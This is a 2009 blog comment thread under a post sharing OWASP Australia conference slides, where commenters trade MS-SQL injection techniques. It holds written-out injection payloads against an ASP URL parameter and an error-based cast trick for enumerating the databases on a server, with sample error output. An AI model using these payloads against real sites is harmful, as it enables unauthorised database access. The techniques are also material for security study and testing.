Comments on: Slides From OWASP Au 2009

By: sid

sid — Mon, 06 Apr 2009 10:13:03 +0000

select cast(’total database:’+cast(count(name) as nvarchar)as int) from master.dbo.sysdatabases

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value ‘total database:6′ to data type int.

By: sid

sid — Mon, 06 Apr 2009 09:45:58 +0000

Thats because, the query returns an integer, and type conversion from int to int is valid and hence no errors.

I will look for some more type conversions to get this returned as error message.

You can still use the blind injection boolean query to get this value, but i think i know what are you after..

By: Marezzi

Marezzi — Sun, 05 Apr 2009 22:43:57 +0000

tnx for info but not working.I know for the db_name(n) but i need this. asp?pid=12 or 1=convert(int,(Select count(distinct name) from master.dbo.sysdatabases))–
I don’t see an error. also tried asp?pid=12 or 1=convert(int,(Select count(distinct catalog_name) from information_schema.schemata))– no success
Don’t know what to do

By: sid

sid — Sat, 04 Apr 2009 20:53:00 +0000

i think you are after this:

Select count(distinct name) from master.dbo.sysdatabases

or you can do select db_name(n)

and enumerate n till you get null.

Hope it helps …:)

By: Marezzi

Marezzi — Sat, 04 Apr 2009 20:38:34 +0000

nice slides I have 1 question, how can i count how many databases are there via sql injection in MS-SQL?I want to apply this query. Select count(CATALOG_NAME) from INFORMATION_SCHEMA.SCHEMATA)), or Select count(name) from master.dbo.sysdatabases
Thanks

By: Benjamin

Benjamin — Wed, 25 Mar 2009 22:33:10 +0000

Hey Sumsid!

Thanks for those slides